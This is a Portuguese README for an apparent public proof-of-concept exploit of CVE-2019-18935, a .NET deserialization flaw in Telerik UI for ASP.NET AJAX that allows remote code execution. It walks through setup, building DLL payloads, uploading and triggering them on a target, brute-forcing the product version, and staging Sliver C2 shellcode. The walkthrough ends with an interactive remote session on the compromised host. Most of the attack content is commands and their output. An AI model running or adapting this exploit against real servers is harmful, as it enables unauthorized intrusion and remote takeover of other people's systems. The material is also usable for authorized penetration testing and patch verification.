
Exploit de RCE para uma vulnerabilidade de desserialização JSON no .NET no Telerik UI para ASP.NET AJAX.
Exploit de prova de conceito para uma vulnerabilidade de desserialização JSON .NET no Telerik UI for ASP.NET AJAX que permite execução remota de código.
Telerik UI for ASP.NET AJAX é um conjunto amplamente utilizado de componentes de interface para aplicações web. Ele desserializa objetos JSON de forma insegura, resultando em execução remota arbitrária de código no host subjacente do software. Para mais informações, veja:
Você precisará do Visual Studio e do .NET Framework SDK instalados para compilar payloads de DLL de assembly .NET em modo misto usando build-dll.bat.
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
Este exploit utiliza a lógica de criptografia do RAU_crypto. A classe RAUCipher dentro de RAU_crypto.py depende do PyCryptodome, um substituto direto para o módulo PyCrypto morto. PyCryptodome e PyCrypto criam problemas quando instalados no mesmo ambiente, então a melhor forma de satisfazer essa dependência é instalar o módulo dentro de um ambiente virtual, como mostrado acima.
Aponte a linha 17 do build-dll.bat para o caminho da sua instalação do Visual Studio.
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
[-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
[-f FOLDER] -u URL
Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.
optional arguments:
-h, --help show this help message and exit
-t just upload a file
-d just deserialize
-r FILENAME_REMOTE remote payload name, for optional use with -d
-s SMB_SERVER remote SMB server, for optional use with -d
-v UI_VERSION software version
-n NET_VERSION .NET version
-p PAYLOAD mixed mode assembly DLL
-f FOLDER destination folder on target
-u URL https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau
Alguns payloads (ex.: reverse-shell.c e sliver-stager.c) exigem que você defina os campos HOST e PORT para apontar para seu servidor C2 — certifique-se de fazer isso!
Em um ambiente Windows com Visual Studio instalado, use build-dll.bat para gerar DLLs de assembly em modo misto de 32 e 64 bits para serem usadas como payload durante a desserialização. Opcionalmente, você pode especificar uma arquitetura de CPU alvo como segundo argumento da CLI (ex.: x86).
build-dll.bat sleep.c
Passe a DLL gerada acima para o CVE-2019-18935.py, que enviará a DLL para um diretório no servidor alvo (desde que o servidor web tenha permissões de escrita nesse diretório) e depois carregará essa DLL na aplicação através do exploit de desserialização insegura.
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name: sleep-2019121205271355-x86.dll
[*] Destination folder: C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264,
'ContentType': 'application/octet-stream',
'DateJson': '1970-01-01T00:00:00.000Z',
'FileName': '1576142987.918625.dll',
'Index': 0},
'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
'Telerik.Web.UI, Version=<VERSION>, '
'Culture=neutral, '
'PublicKeyToken=<TOKEN>',
'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...
[*] Response time: 13.01 seconds
No exemplo acima, a aplicação levou pelo menos 10 segundos para responder, indicando que o payload DLL invocou com sucesso Sleep(10000).
Conforme detalhado na palestra do DerpCon .NET Roulette (39:46), podemos fazer força bruta na versão do Telerik UI especificando apenas a versão major do assembly Telerik.Web.UI (ou seja, a parte 2017 da string de versão completa 2017.2.503.40) ao enviar um arquivo. Esta técnica reduz drasticamente o espaço de busca em comparação com a força bruta de cada lançamento específico deste software — e, como benefício adicional, pode até detectar versões que não estão explicitamente listadas no histórico de lançamentos deste software. Saiba mais sobre versionamento de assemblies .NET no MSDN.
$ for YEAR in $(seq 2013 2018); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
echo
done
2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:
O payload stager personalizado do Sliver sliver-stager.c recebe e executa shellcode do Sliver (o stage) do servidor Sliver (o servidor de staging), seguindo o protocolo de staging do Metasploit. Para mais detalhes sobre como funciona, leia o cabeçalho no código-fonte do payload.
Inicie o servidor Sliver. Mais informações sobre configuração do servidor aqui.
MINGW_PATH='/usr/bin' # Ou onde quer que o MinGW esteja localizado.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server
Abra um endpoint C2 (estamos usando um listener mTLS aqui, mas você também pode usar HTTP ou DNS) no servidor Sliver, crie um perfil de implantação e crie um listener de staging vinculado a esse perfil. Mais informações sobre payloads em estágios aqui. Note que não estamos gerando um stager Sliver usando generate stager como a documentação do Sliver sugere; estamos em vez disso usando nosso sliver-stager.c personalizado.
⚠️ Aviso: Enviar um stage de arquitetura de CPU errada irá travar o processo alvo! Por exemplo, se o alvo estiver executando uma versão de 32 bits do Telerik UI e o servidor de staging enviar um stage de 64 bits para o stager de 32 bits, o processo do servidor web irá travar. No exemplo a seguir, geramos shellcode de 32 bits — mas você deve combinar isso com a arquitetura de CPU do seu alvo usando a flag --arch do comando new-profile.
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1
sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32
sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started
Defina o host e a porta no código-fonte do stager Sliver para apontar para o servidor Sliver (mostrando um exemplo de servidor abaixo).
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c
Compile o payload stager Sliver e envie o payload para o alvo e carregue-o na aplicação (tudo de acordo com as seções de Uso anteriores neste README).
> .\build-dll.bat sliver-stager.c x86
$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll
Se tudo correr bem (você já solucionou problemas neste alvo?), você verá uma sessão criada na janela do seu servidor Sliver que pode ser usada para interagir com o alvo.
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC
sliver > use 1
[*] Active session AFRAID_COMPUTER (1)
sliver (AFRAID_COMPUTER) > help
Commands:
=========
clear clear the screen
exit exit the shell
help use 'help [command]' for command help
...
whoami Get session user execution context
sliver (AFRAID_COMPUTER) > whoami
DESKTOP-D19S4Q2\tester
AssemblyInstaller não pode carregar múltiplos assemblies .NET com o mesmo nome de assembly (diferente de um nome de arquivo). Você precisará compilar e enviar um novo cada vez que quiser que o alvo durma, retorne, etc.O uso desta ferramenta para atacar alvos sem consentimento mútuo prévio é ilegal. É de responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não se responsabilizam por qualquer uso indevido ou dano causado por este programa.
@mwulftange inicialmente descobriu esta vulnerabilidade. @bao7uo escreveu toda a lógica para quebrar a criptografia do RadAsyncUpload, que permitiu manipular o objeto de configuração de upload de arquivo em rauPostData e subsequentemente explorar a desserialização insegura desse objeto. @lesnuages escreveu a primeira iteração do payload stager Sliver.
Este projeto está licenciado sob a Apache License.